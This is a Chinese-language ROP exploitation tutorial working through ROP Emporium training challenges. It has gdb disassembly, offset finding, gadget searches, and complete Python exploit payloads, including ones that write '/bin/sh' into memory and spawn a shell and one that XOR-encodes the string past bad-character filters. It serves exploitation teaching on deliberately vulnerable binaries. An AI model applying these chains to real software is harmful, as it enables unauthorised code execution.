  • 如:mov [eax],ecx; ret
  • +
  • 算数和逻辑运算
  • +
  • add, sub, mul, xor 等。
  • +
  • 如:add eax,ebx; ret, xor edx,edx; ret
  • +
  • 系统调用
  • +
  • 执行内核中断
  • +
  • 如:int 0x80; ret, call gs:[0x10]; ret
  • +
  • 会影响栈帧的 gadgets
  • +
  • 这些 gadgets 会改变 ebp 的值,从而影响栈帧,在一些操作如 stack pivot 时我们需要这样的指令来转移栈帧。
  • +
  • 如:leave; ret, pop ebp; ret
  • +
+

ROP Emporium

+

ROP Emporium 提供了一系列用于学习 ROP 的挑战,每一个挑战都介绍了一个知识,难度也逐渐增加,是循序渐进学习 ROP 的好资料。ROP Emporium 还有个特点是它专注于 ROP,所有挑战都有相同的漏洞点,不同的只是 ROP 链构造的不同,所以不涉及其他的漏洞利用和逆向的内容。每个挑战都包含了 32 位和 64 位的程序,通过对比能帮助我们理解 ROP 链在不同体系结构下的差异,例如参数的传递等。这篇文章我们就从这些挑战中来学习吧。

+

这些挑战都包含一个 flag.txt 的文件,我们的目标就是通过控制程序执行,来打印出文件中的内容。当然你也可以尝试获得 shell。

+

下载文件

+

ret2win32

+

通常情况下,对于一个有缓冲区溢出的程序,我们通常先输入一定数量的字符填满缓冲区,然后是精心构造的 ROP 链,通过覆盖堆栈上保存的返回地址来实现函数跳转(关于缓冲区溢出请查看上一章 3.1.3栈溢出)。

+

第一个挑战我会尽量详细一点,因为所有挑战程序都有相似的结构,缓冲区大小都一样,我们看一下漏洞函数:

+
gdb-peda$ disassemble pwnme
+Dump of assembler code for function pwnme:
+   0x080485f6 <+0>:     push   ebp
+   0x080485f7 <+1>:     mov    ebp,esp
+   0x080485f9 <+3>:     sub    esp,0x28
+   0x080485fc <+6>:     sub    esp,0x4
+   0x080485ff <+9>:     push   0x20
+   0x08048601 <+11>:    push   0x0
+   0x08048603 <+13>:    lea    eax,[ebp-0x28]
+   0x08048606 <+16>:    push   eax
+   0x08048607 <+17>:    call   0x8048460 <memset@plt>
+   0x0804860c <+22>:    add    esp,0x10
+   0x0804860f <+25>:    sub    esp,0xc
+   0x08048612 <+28>:    push   0x804873c
+   0x08048617 <+33>:    call   0x8048420 <puts@plt>
+   0x0804861c <+38>:    add    esp,0x10
+   0x0804861f <+41>:    sub    esp,0xc
+   0x08048622 <+44>:    push   0x80487bc
+   0x08048627 <+49>:    call   0x8048420 <puts@plt>
+   0x0804862c <+54>:    add    esp,0x10
+   0x0804862f <+57>:    sub    esp,0xc
+   0x08048632 <+60>:    push   0x8048821
+   0x08048637 <+65>:    call   0x8048400 <printf@plt>
+   0x0804863c <+70>:    add    esp,0x10
+   0x0804863f <+73>:    mov    eax,ds:0x804a060
+   0x08048644 <+78>:    sub    esp,0x4
+   0x08048647 <+81>:    push   eax
+   0x08048648 <+82>:    push   0x32
+   0x0804864a <+84>:    lea    eax,[ebp-0x28]
+   0x0804864d <+87>:    push   eax
+   0x0804864e <+88>:    call   0x8048410 <fgets@plt>
+   0x08048653 <+93>:    add    esp,0x10
+   0x08048656 <+96>:    nop
+   0x08048657 <+97>:    leave  
+   0x08048658 <+98>:    ret
+End of assembler dump.
+gdb-peda$ disassemble ret2win
+Dump of assembler code for function ret2win:
+   0x08048659 <+0>:     push   ebp
+   0x0804865a <+1>:     mov    ebp,esp
+   0x0804865c <+3>:     sub    esp,0x8
+   0x0804865f <+6>:     sub    esp,0xc
+   0x08048662 <+9>:     push   0x8048824
+   0x08048667 <+14>:    call   0x8048400 <printf@plt>
+   0x0804866c <+19>:    add    esp,0x10
+   0x0804866f <+22>:    sub    esp,0xc
+   0x08048672 <+25>:    push   0x8048841
+   0x08048677 <+30>:    call   0x8048430 <system@plt>
+   0x0804867c <+35>:    add    esp,0x10
+   0x0804867f <+38>:    nop
+   0x08048680 <+39>:    leave  
+   0x08048681 <+40>:    ret
+End of assembler dump.
+
+

函数 pwnme() 是存在缓冲区溢出的函数,它调用 fgets() 读取任意数据,但缓冲区的大小只有 40 字节(0x0804864a <+84>: lea eax,[ebp-0x28],0x28=40),当输入大于 40 字节的数据时,就可以覆盖掉调用函数的 ebp 和返回地址:

+
gdb-peda$ pattern_create 50
+'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
+gdb-peda$ r
+Starting program: /home/firmy/Desktop/rop_emporium/ret2win32/ret2win32
+ret2win by ROP Emporium
+32bits
+
+For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
+What could possibly go wrong?
+You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!
+
+> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA
+
+Program received signal SIGSEGV, Segmentation fault.
+[----------------------------------registers-----------------------------------]
+EAX: 0xffffd5c0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb")
+EBX: 0x0
+ECX: 0xffffd5c0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb")
+EDX: 0xf7f90860 --> 0x0
+ESI: 0xf7f8ee28 --> 0x1d1d30
+EDI: 0x0
+EBP: 0x41304141 ('AA0A')
+ESP: 0xffffd5f0 --> 0xf7f80062 --> 0x41000000 ('')
+EIP: 0x41414641 ('AFAA')
+EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+Invalid $PC address: 0x41414641
+[------------------------------------stack-------------------------------------]
+0000| 0xffffd5f0 --> 0xf7f80062 --> 0x41000000 ('')
+0004| 0xffffd5f4 --> 0xffffd610 --> 0x1
+0008| 0xffffd5f8 --> 0x0
+0012| 0xffffd5fc --> 0xf7dd57c3 (<__libc_start_main+243>:       add    esp,0x10)
+0016| 0xffffd600 --> 0xf7f8ee28 --> 0x1d1d30
+0020| 0xffffd604 --> 0xf7f8ee28 --> 0x1d1d30
+0024| 0xffffd608 --> 0x0
+0028| 0xffffd60c --> 0xf7dd57c3 (<__libc_start_main+243>:       add    esp,0x10)
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+Stopped reason: SIGSEGV
+0x41414641 in ?? ()
+gdb-peda$ pattern_offset $ebp
+1093681473 found at offset: 40
+gdb-peda$ pattern_offset $eip
+1094796865 found at offset: 44
+
+

缓冲区距离 ebp 和 eip 的偏移分别为 40 和 44,这就验证了我们的假设。

+

通过查看程序的逻辑,虽然我们知道 .text 段中存在函数 ret2win(),但在程序执行中并没有调用到它,我们要做的就是用该函数的地址覆盖返回地址,使程序跳转到该函数中,从而打印出 flag,我们称这一类型的 ROP 为 ret2text。

+

还有一件重要的事情是 checksec:

+
gdb-peda$ checksec
+CANARY    : disabled
+FORTIFY   : disabled
+NX        : ENABLED
+PIE       : disabled
+RELRO     : Partial
+
+

这里开启了关闭了 PIE,所以 .text 的加载地址是不变的,可以直接使用 ret2win() 的地址 0x08048659

+

payload 如下(注这篇文章中的paylaod我会使用多种方法来写,以展示各种工具的使用):

+
$ python2 -c "print 'A'*44 + '\x59\x86\x04\x08'" | ./ret2win32
+...
+> Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}
+
+

ret2win

+

现在是 64 位程序:

+
gdb-peda$ disassemble pwnme
+Dump of assembler code for function pwnme:
+   0x00000000004007b5 <+0>:     push   rbp
+   0x00000000004007b6 <+1>:     mov    rbp,rsp
+   0x00000000004007b9 <+4>:     sub    rsp,0x20
+   0x00000000004007bd <+8>:     lea    rax,[rbp-0x20]
+   0x00000000004007c1 <+12>:    mov    edx,0x20
+   0x00000000004007c6 <+17>:    mov    esi,0x0
+   0x00000000004007cb <+22>:    mov    rdi,rax
+   0x00000000004007ce <+25>:    call   0x400600 <memset@plt>
+   0x00000000004007d3 <+30>:    mov    edi,0x4008f8
+   0x00000000004007d8 <+35>:    call   0x4005d0 <puts@plt>
+   0x00000000004007dd <+40>:    mov    edi,0x400978
+   0x00000000004007e2 <+45>:    call   0x4005d0 <puts@plt>
+   0x00000000004007e7 <+50>:    mov    edi,0x4009dd
+   0x00000000004007ec <+55>:    mov    eax,0x0
+   0x00000000004007f1 <+60>:    call   0x4005f0 <printf@plt>
+   0x00000000004007f6 <+65>:    mov    rdx,QWORD PTR [rip+0x200873]        # 0x601070 <stdin@@GLIBC_2.2.5>
+   0x00000000004007fd <+72>:    lea    rax,[rbp-0x20]
+   0x0000000000400801 <+76>:    mov    esi,0x32
+   0x0000000000400806 <+81>:    mov    rdi,rax
+   0x0000000000400809 <+84>:    call   0x400620 <fgets@plt>
+   0x000000000040080e <+89>:    nop
+   0x000000000040080f <+90>:    leave  
+   0x0000000000400810 <+91>:    ret
+End of assembler dump.
+gdb-peda$ disassemble ret2win
+Dump of assembler code for function ret2win:
+   0x0000000000400811 <+0>:     push   rbp
+   0x0000000000400812 <+1>:     mov    rbp,rsp
+   0x0000000000400815 <+4>:     mov    edi,0x4009e0
+   0x000000000040081a <+9>:     mov    eax,0x0
+   0x000000000040081f <+14>:    call   0x4005f0 <printf@plt>
+   0x0000000000400824 <+19>:    mov    edi,0x4009fd
+   0x0000000000400829 <+24>:    call   0x4005e0 <system@plt>
+   0x000000000040082e <+29>:    nop
+   0x000000000040082f <+30>:    pop    rbp
+   0x0000000000400830 <+31>:    ret
+End of assembler dump.
+
+

首先与 32 位不同的是参数传递,64 位程序的前六个参数通过 RDI、RSI、RDX、RCX、R8 和 R9 传递。所以缓冲区大小参数通过 rdi 传递给 fgets(),大小为 32 字节。

+

而且由于 ret 的地址不存在,程序停在了 => 0x400810 <pwnme+91>: ret 这一步,这是因为 64 位可以使用的内存地址不能大于 0x00007fffffffffff,否则就会抛出异常。

+
gdb-peda$ r
+Starting program: /home/firmy/Desktop/rop_emporium/ret2win/ret2win
+ret2win by ROP Emporium
+64bits
+
+For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
+What could possibly go wrong?
+You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!
+
+> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA
+
+Program received signal SIGSEGV, Segmentation fault.
+[----------------------------------registers-----------------------------------]
+RAX: 0x7fffffffe400 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb")
+RBX: 0x0
+RCX: 0x1f
+RDX: 0x7ffff7dd4710 --> 0x0
+RSI: 0x7fffffffe400 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb")
+RDI: 0x7fffffffe401 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb")
+RBP: 0x6141414541412941 ('A)AAEAAa')
+RSP: 0x7fffffffe428 ("AA0AAFAAb")
+RIP: 0x400810 (<pwnme+91>:      ret)
+R8 : 0x0
+R9 : 0x7ffff7fb94c0 (0x00007ffff7fb94c0)
+R10: 0x602260 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA\n")
+R11: 0x246
+R12: 0x400650 (<_start>:        xor    ebp,ebp)
+R13: 0x7fffffffe510 --> 0x1
+R14: 0x0
+R15: 0x0
+EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+   0x400809 <pwnme+84>: call   0x400620 <fgets@plt>
+   0x40080e <pwnme+89>: nop
+   0x40080f <pwnme+90>: leave  
+=> 0x400810 <pwnme+91>: ret
+   0x400811 <ret2win>:  push   rbp
+   0x400812 <ret2win+1>:        mov    rbp,rsp
+   0x400815 <ret2win+4>:        mov    edi,0x4009e0
+   0x40081a <ret2win+9>:        mov    eax,0x0
+[------------------------------------stack-------------------------------------]
+0000| 0x7fffffffe428 ("AA0AAFAAb")
+0008| 0x7fffffffe430 --> 0x400062 --> 0x1f8000000000000
+0016| 0x7fffffffe438 --> 0x7ffff7a41f6a (<__libc_start_main+234>:       mov    edi,eax)
+0024| 0x7fffffffe440 --> 0x0
+0032| 0x7fffffffe448 --> 0x7fffffffe518 --> 0x7fffffffe870 ("/home/firmy/Desktop/rop_emporium/ret2win/ret2win")
+0040| 0x7fffffffe450 --> 0x100000000
+0048| 0x7fffffffe458 --> 0x400746 (<main>:      push   rbp)
+0056| 0x7fffffffe460 --> 0x0
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+Stopped reason: SIGSEGV
+0x0000000000400810 in pwnme ()
+gdb-peda$ pattern_offset $rbp
+7007954260868540737 found at offset: 32
+gdb-peda$ pattern_offset AA0AAFAAb
+AA0AAFAAb found at offset: 40
+
+

re2win() 的地址为 0x0000000000400811,payload 如下:

+
from zio import *
+
+payload = "A"*40 + l64(0x0000000000400811)
+
+io = zio('./ret2win')
+io.writeline(payload)
+io.read()
+
+

split32

+

这一题也是 ret2text,但这一次,我们有的是一个 usefulFunction() 函数:

+
gdb-peda$ disassemble usefulFunction
+Dump of assembler code for function usefulFunction:
+   0x08048649 <+0>:     push   ebp
+   0x0804864a <+1>:     mov    ebp,esp
+   0x0804864c <+3>:     sub    esp,0x8
+   0x0804864f <+6>:     sub    esp,0xc
+   0x08048652 <+9>:     push   0x8048747
+   0x08048657 <+14>:    call   0x8048430 <system@plt>
+   0x0804865c <+19>:    add    esp,0x10
+   0x0804865f <+22>:    nop
+   0x08048660 <+23>:    leave  
+   0x08048661 <+24>:    ret
+End of assembler dump.
+
+

它调用 system() 函数,而我们要做的是给它传递一个参数,执行该参数后可以打印出 flag。

+

使用 radare2 中的工具 rabin2 在 .data 段中搜索字符串:

+
$ rabin2 -z split32
+...
+vaddr=0x0804a030 paddr=0x00001030 ordinal=000 sz=18 len=17 section=.data type=ascii string=/bin/cat flag.txt
+
+

我们发现存在字符串 /bin/cat flag.txt,这正是我们需要的,地址为 0x0804a030

+

下面构造 payload,这里就有两种方法,一种是直接使用调用 system() 函数的地址 0x08048657,另一种是使用 system() 的 plt 地址 0x8048430,在前面的章节中我们已经知道了 plt 的延迟绑定机制(1.5.6动态链接),这里我们再回顾一下:

+

绑定前:

+
gdb-peda$ disassemble system
+Dump of assembler code for function system@plt:
+   0x08048430 <+0>:     jmp    DWORD PTR ds:0x804a018
+   0x08048436 <+6>:     push   0x18
+   0x0804843b <+11>:    jmp    0x80483f0
+gdb-peda$ x/5x 0x804a018  
+0x804a018:      0x08048436      0x08048446      0x08048456      0x08048466
+0x804a028:      0x00000000
+
+

绑定后:

+
gdb-peda$ disassemble system
+Dump of assembler code for function system:
+   0xf7df9c50 <+0>:     sub    esp,0xc
+   0xf7df9c53 <+3>:     mov    eax,DWORD PTR [esp+0x10]
+   0xf7df9c57 <+7>:     call   0xf7ef32cd <__x86.get_pc_thunk.dx>
+   0xf7df9c5c <+12>:    add    edx,0x1951cc
+   0xf7df9c62 <+18>:    test   eax,eax
+   0xf7df9c64 <+20>:    je     0xf7df9c70 <system+32>
+   0xf7df9c66 <+22>:    add    esp,0xc
+   0xf7df9c69 <+25>:    jmp    0xf7df9700 <do_system>
+   0xf7df9c6e <+30>:    xchg   ax,ax
+   0xf7df9c70 <+32>:    lea    eax,[edx-0x57616]
+   0xf7df9c76 <+38>:    call   0xf7df9700 <do_system>
+   0xf7df9c7b <+43>:    test   eax,eax
+   0xf7df9c7d <+45>:    sete   al
+   0xf7df9c80 <+48>:    add    esp,0xc
+   0xf7df9c83 <+51>:    movzx  eax,al
+   0xf7df9c86 <+54>:    ret
+End of assembler dump.
+gdb-peda$ x/5x 0x08048430
+0x8048430 <system@plt>: 0xa01825ff      0x18680804      0xe9000000      0xffffffb0
+0x8048440 <__libc_start_main@plt>:      0xa01c25ff
+
+

其实这里讲 plt 不是很确切,因为 system 使用太频繁,在我们使用它之前,它就已经绑定了,在后面的挑战中我们会遇到没有绑定的情况。

+

两种 payload 如下:

+
$ python2 -c "print 'A'*44 + '\x57\x86\x04\x08' + '\x30\xa0\x04\x08'" | ./split32
+...
+> ROPE{a_placeholder_32byte_flag!}
+from zio import *
+
+payload  = "A"*44
+payload += l32(0x08048430)
+payload += "BBBB"
+payload += l32(0x0804a030)
+
+io = zio('./split32')
+io.writeline(payload)
+io.read()
+
+

注意 "BBBB" 是新的返回地址,如果函数 ret,就会执行 "BBBB" 处的指令,通常这里会放置一些 pop;pop;ret 之类的指令地址,以平衡堆栈。从 system() 函数中也能看出来,它现将 esp 减去 0xc,再取地址 esp+0x10 处的指令,也就是 "BBBB" 的后一个,即字符串的地址。因为 system() 是 libc 中的函数,所以这种方法称作 ret2libc。

+

split

+
$ rabin2 -z split
+...
+vaddr=0x00601060 paddr=0x00001060 ordinal=000 sz=18 len=17 section=.data type=ascii string=/bin/cat flag.txt
+
+

字符串地址在 0x00601060

+
gdb-peda$ disassemble usefulFunction
+Dump of assembler code for function usefulFunction:
+   0x0000000000400807 <+0>:     push   rbp
+   0x0000000000400808 <+1>:     mov    rbp,rsp
+   0x000000000040080b <+4>:     mov    edi,0x4008ff
+   0x0000000000400810 <+9>:     call   0x4005e0 <system@plt>
+   0x0000000000400815 <+14>:    nop
+   0x0000000000400816 <+15>:    pop    rbp
+   0x0000000000400817 <+16>:    ret
+End of assembler dump.
+
+

64 位程序的第一个参数通过 edi 传递,所以我们需要再调用一个 gadgets 来将字符串的地址存进 edi。

+

我们先找到需要的 gadgets:

+
gdb-peda$ ropsearch "pop rdi; ret"
+Searching for ROP gadget: 'pop rdi; ret' in: binary ranges
+0x00400883 : (b'5fc3')  pop rdi; ret
+
+

下面是 payload:

+
$ python2 -c "print 'A'*40 + '\x83\x08\x40\x00\x00\x00\x00\x00' + '\x60\x10\x60\x00\x00\x00\x00\x00' + '\x10\x08\x40\x00\x00\x00\x00\x00'" | ./split
+...
+> ROPE{a_placeholder_32byte_flag!}
+
+

那我们是否还可以用前面那种方法调用 system() 的 plt 地址 0x4005e0 呢:

+
gdb-peda$ disassemble system
+Dump of assembler code for function system:
+   0x00007ffff7a63010 <+0>:     test   rdi,rdi
+   0x00007ffff7a63013 <+3>:     je     0x7ffff7a63020 <system+16>
+   0x00007ffff7a63015 <+5>:     jmp    0x7ffff7a62a70 <do_system>
+   0x00007ffff7a6301a <+10>:    nop    WORD PTR [rax+rax*1+0x0]
+   0x00007ffff7a63020 <+16>:    lea    rdi,[rip+0x138fd6]        # 0x7ffff7b9bffd
+   0x00007ffff7a63027 <+23>:    sub    rsp,0x8
+   0x00007ffff7a6302b <+27>:    call   0x7ffff7a62a70 <do_system>
+   0x00007ffff7a63030 <+32>:    test   eax,eax
+   0x00007ffff7a63032 <+34>:    sete   al
+   0x00007ffff7a63035 <+37>:    add    rsp,0x8
+   0x00007ffff7a63039 <+41>:    movzx  eax,al
+   0x00007ffff7a6303c <+44>:    ret
+End of assembler dump.
+
+

依然可以,因为参数的传递没有用到栈,我们只需把地址直接更改就可以了:

+
from zio import *
+
+payload  = "A"*40
+payload += l64(0x00400883)
+payload += l64(0x00601060)
+payload += l64(0x4005e0)
+
+io = zio('./split')
+io.writeline(payload)
+io.read()
+
+

callme32

+

这里我们要接触真正的 plt 了,根据题目提示,callme32 从共享库 libcallme32.so 中导入三个特殊的函数:

+
$ rabin2 -i callme32 | grep callme
+ordinal=004 plt=0x080485b0 bind=GLOBAL type=FUNC name=callme_three
+ordinal=005 plt=0x080485c0 bind=GLOBAL type=FUNC name=callme_one
+ordinal=012 plt=0x08048620 bind=GLOBAL type=FUNC name=callme_two
+
+

我们要做的是依次调用 callme_one()callme_two()callme_three(),并且每个函数都要传入参数 123。通过调试我们能够知道函数逻辑,callme_one 用于读入加密后的 flag,然后依次调用 callme_twocallme_three 进行解密。

+

由于函数参数是放在栈上的,为了平衡堆栈,我们需要一个 pop;pop;pop;ret 的 gadgets:

+
$ objdump -d callme32 | grep -A 3 pop
+...
+ 80488a8:       5b                      pop    %ebx
+ 80488a9:       5e                      pop    %esi
+ 80488aa:       5f                      pop    %edi
+ 80488ab:       5d                      pop    %ebp
+ 80488ac:       c3                      ret
+ 80488ad:       8d 76 00                lea    0x0(%esi),%esi
+...
+
+

或者是 add esp, 8; pop; ret,反正只要能平衡,都可以:

+
gdb-peda$ ropsearch "add esp, 8"
+Searching for ROP gadget: 'add esp, 8' in: binary ranges
+0x08048576 : (b'83c4085bc3')    add esp,0x8; pop ebx; ret
+0x080488c3 : (b'83c4085bc3')    add esp,0x8; pop ebx; ret
+
+

构造 payload 如下:

+
from zio import *
+
+payload  = "A"*44
+
+payload += l32(0x080485c0)
+payload += l32(0x080488a9)
+payload += l32(0x1) + l32(0x2) + l32(0x3)
+
+payload += l32(0x08048620)
+payload += l32(0x080488a9)
+payload += l32(0x1) + l32(0x2) + l32(0x3)
+
+payload += l32(0x080485b0)
+payload += l32(0x080488a9)
+payload += l32(0x1) + l32(0x2) + l32(0x3)
+
+io = zio('./callme32')
+io.writeline(payload)
+io.read()
+
+

callme

+

64 位程序不需要平衡堆栈了,只要将参数按顺序依次放进寄存器中就可以了。

+
$ rabin2 -i callme | grep callme
+ordinal=004 plt=0x00401810 bind=GLOBAL type=FUNC name=callme_three
+ordinal=008 plt=0x00401850 bind=GLOBAL type=FUNC name=callme_one
+ordinal=011 plt=0x00401870 bind=GLOBAL type=FUNC name=callme_two
+gdb-peda$ ropsearch "pop rdi; pop rsi"
+Searching for ROP gadget: 'pop rdi; pop rsi' in: binary ranges
+0x00401ab0 : (b'5f5e5ac3')      pop rdi; pop rsi; pop rdx; ret
+
+

payload 如下:

+
from zio import *
+
+payload  = "A"*40
+
+payload += l64(0x00401ab0)
+payload += l64(0x1) + l64(0x2) + l64(0x3)
+payload += l64(0x00401850)
+
+payload += l64(0x00401ab0)
+payload += l64(0x1) + l64(0x2) + l64(0x3)
+payload += l64(0x00401870)
+
+payload += l64(0x00401ab0)
+payload += l64(0x1) + l64(0x2) + l64(0x3)
+payload += l64(0x00401810)
+
+io = zio('./callme')
+io.writeline(payload)
+io.read()
+
+

write432

+

这一次,我们已经不能在程序中找到可以执行的语句了,但我们可以利用 gadgets 将 /bin/sh 写入到目标进程的虚拟内存空间中,如 .data 段中,再调用 system() 执行它,从而拿到 shell。要认识到一个重要的点是,ROP 只是一种任意代码执行的形式,只要我们有创意,就可以利用它来执行诸如内存读写等操作。

+

这种方法虽然好用,但还是要考虑我们写入地址的读写和执行权限,以及它能提供的空间是多少,我们写入的内容是否会影响到程序执行等问题。如我们接下来想把字符串写入 .data 段,我们看一下它的权限和大小等信息:

+
$ readelf -S write432
+  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
+  ...
+  [16] .rodata           PROGBITS        080486f8 0006f8 000064 00   A  0   0  4
+  [25] .data             PROGBITS        0804a028 001028 000008 00  WA  0   0  4
+
+

可以看到 .data 具有 WA,即写入(write)和分配(alloc)的权利,而 .rodata 就不能写入。

+

使用工具 ropgadget 可以很方便地找到我们需要的 gadgets:

+
$ ropgadget --binary write432 --only "mov|pop|ret"
+...
+0x08048670 : mov dword ptr [edi], ebp ; ret
+0x080486da : pop edi ; pop ebp ; ret
+
+

另外需要注意的是,我们这里是 32 位程序,每次只能写入 4 个字节,所以要分成两次写入,还得注意字符对齐,有没有截断字符(\x00,\x0a等)之类的问题,比如这里 /bin/sh 只有七个字节,我们可以使用 /bin/sh\00 或者 /bin//sh,构造 payload 如下:

+
from zio import *
+
+pop_edi_ebp = 0x080486da
+mov_edi_ebp = 0x08048670
+
+data_addr   = 0x804a028
+system_plt  = 0x8048430
+
+payload  = ""
+payload += "A"*44
+payload += l32(pop_edi_ebp)
+payload += l32(data_addr)
+payload += "/bin"
+payload += l32(mov_edi_ebp)
+payload += l32(pop_edi_ebp)
+payload += l32(data_addr+4)
+payload += "/sh\x00"
+payload += l32(mov_edi_ebp)
+payload += l32(system_plt)
+payload += "BBBB"
+payload += l32(data_addr)
+
+io = zio('./write432')
+io.writeline(payload)
+io.interact()
+$ python2 run.py
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(/binp,/shp0BBBB(�
+write4 by ROP Emporium
+32bits
+
+Go ahead and give me the string already!
+> cat flag.txt
+ROPE{a_placeholder_32byte_flag!}
+
+

write4

+

64 位程序就可以一次性写入了。

+
$ ropgadget --binary write4 --only "mov|pop|ret"
+...
+0x0000000000400820 : mov qword ptr [r14], r15 ; ret
+0x0000000000400890 : pop r14 ; pop r15 ; ret
+0x0000000000400893 : pop rdi ; ret
+from pwn import *
+
+pop_r14_r15 = 0x0000000000400890
+mov_r14_r15 = 0x0000000000400820
+pop_rdi = 0x0000000000400893
+data_addr = 0x0000000000601050
+system_plt = 0x004005e0
+
+payload  = "A"*40
+payload += p64(pop_r14_r15)
+payload += p64(data_addr)
+payload += "/bin/sh\x00"
+payload += p64(mov_r14_r15)
+payload += p64(pop_rdi)
+payload += p64(data_addr)
+payload += p64(system_plt)
+
+io = process('./write4')
+io.recvuntil('>')
+io.sendline(payload)
+io.interactive()
+
+

badchars32

+

在这个挑战中,我们依然要将 /bin/sh 写入到进程内存中,但这一次程序在读取输入时会对敏感字符进行检查,查看函数 checkBadchars()

+
gdb-peda$ disassemble checkBadchars
+Dump of assembler code for function checkBadchars:
+   0x08048801 <+0>:     push   ebp
+   0x08048802 <+1>:     mov    ebp,esp
+   0x08048804 <+3>:     sub    esp,0x10
+   0x08048807 <+6>:     mov    BYTE PTR [ebp-0x10],0x62
+   0x0804880b <+10>:    mov    BYTE PTR [ebp-0xf],0x69
+   0x0804880f <+14>:    mov    BYTE PTR [ebp-0xe],0x63
+   0x08048813 <+18>:    mov    BYTE PTR [ebp-0xd],0x2f
+   0x08048817 <+22>:    mov    BYTE PTR [ebp-0xc],0x20
+   0x0804881b <+26>:    mov    BYTE PTR [ebp-0xb],0x66
+   0x0804881f <+30>:    mov    BYTE PTR [ebp-0xa],0x6e
+   0x08048823 <+34>:    mov    BYTE PTR [ebp-0x9],0x73
+   0x08048827 <+38>:    mov    DWORD PTR [ebp-0x4],0x0
+   0x0804882e <+45>:    mov    DWORD PTR [ebp-0x8],0x0
+   0x08048835 <+52>:    mov    DWORD PTR [ebp-0x4],0x0
+   0x0804883c <+59>:    jmp    0x804887c <checkBadchars+123>
+   0x0804883e <+61>:    mov    DWORD PTR [ebp-0x8],0x0
+   0x08048845 <+68>:    jmp    0x8048872 <checkBadchars+113>
+   0x08048847 <+70>:    mov    edx,DWORD PTR [ebp+0x8]
+   0x0804884a <+73>:    mov    eax,DWORD PTR [ebp-0x4]
+   0x0804884d <+76>:    add    eax,edx
+   0x0804884f <+78>:    movzx  edx,BYTE PTR [eax]
+   0x08048852 <+81>:    lea    ecx,[ebp-0x10]
+   0x08048855 <+84>:    mov    eax,DWORD PTR [ebp-0x8]
+   0x08048858 <+87>:    add    eax,ecx
+   0x0804885a <+89>:    movzx  eax,BYTE PTR [eax]
+   0x0804885d <+92>:    cmp    dl,al
+   0x0804885f <+94>:    jne    0x804886e <checkBadchars+109>
+   0x08048861 <+96>:    mov    edx,DWORD PTR [ebp+0x8]
+   0x08048864 <+99>:    mov    eax,DWORD PTR [ebp-0x4]
+   0x08048867 <+102>:   add    eax,edx
+   0x08048869 <+104>:   mov    BYTE PTR [eax],0xeb
+   0x0804886c <+107>:   jmp    0x8048878 <checkBadchars+119>
+   0x0804886e <+109>:   add    DWORD PTR [ebp-0x8],0x1
+   0x08048872 <+113>:   cmp    DWORD PTR [ebp-0x8],0x7
+   0x08048876 <+117>:   jbe    0x8048847 <checkBadchars+70>
+   0x08048878 <+119>:   add    DWORD PTR [ebp-0x4],0x1
+   0x0804887c <+123>:   mov    eax,DWORD PTR [ebp-0x4]
+   0x0804887f <+126>:   cmp    eax,DWORD PTR [ebp+0xc]
+   0x08048882 <+129>:   jb     0x804883e <checkBadchars+61>
+   0x08048884 <+131>:   nop
+   0x08048885 <+132>:   leave  
+   0x08048886 <+133>:   ret
+End of assembler dump.
+
+

很明显,地址 0x080488070x08048823 的字符就是所谓的敏感字符。处理敏感字符在利用开发中是经常要用到的,不仅仅是要对参数进行编码,有时甚至地址也要如此。这里我们使用简单的异或操作来对字符串编码和解码。

+

找到 gadgets:

+
$ ropgadget --binary badchars32 --only "mov|pop|ret|xor"
+...
+0x08048893 : mov dword ptr [edi], esi ; ret
+0x08048896 : pop ebx ; pop ecx ; ret
+0x08048899 : pop esi ; pop edi ; ret
+0x08048890 : xor byte ptr [ebx], cl ; ret
+
+

整个利用过程就是写入前编码,使用前解码,下面是 payload:

+
from zio import *
+
+xor_ebx_cl  = 0x08048890
+pop_ebx_ecx = 0x08048896
+pop_esi_edi = 0x08048899
+mov_edi_esi = 0x08048893
+
+system_plt  = 0x080484e0
+data_addr   = 0x0804a038
+
+# encode
+badchars    = [0x62, 0x69, 0x63, 0x2f, 0x20, 0x66, 0x6e, 0x73]
+xor_byte    = 0x1
+while(1):
+    binsh = ""
+    for i in "/bin/sh\x00":
+        c = ord(i) ^ xor_byte
+        if c in badchars:
+            xor_byte += 1
+            break
+        else:
+            binsh += chr(c)
+    if len(binsh) == 8:
+        break
+
+# write
+payload  = "A"*44
+payload += l32(pop_esi_edi)
+payload += binsh[:4]
+payload += l32(data_addr)
+payload += l32(mov_edi_esi)
+payload += l32(pop_esi_edi)
+payload += binsh[4:8]
+payload += l32(data_addr + 4)
+payload += l32(mov_edi_esi)
+
+# decode
+for i in range(len(binsh)):
+    payload += l32(pop_ebx_ecx)
+    payload += l32(data_addr + i)
+    payload += l32(xor_byte)
+    payload += l32(xor_ebx_cl)
+
+# run
+payload += l32(system_plt)
+payload += "BBBB"
+payload += l32(data_addr)
+
+io = zio('./badchars32')
+io.writeline(payload)
+io.interact()
+
+

badchars

+

64 位程序也是一样的,注意参数传递就好了。

+
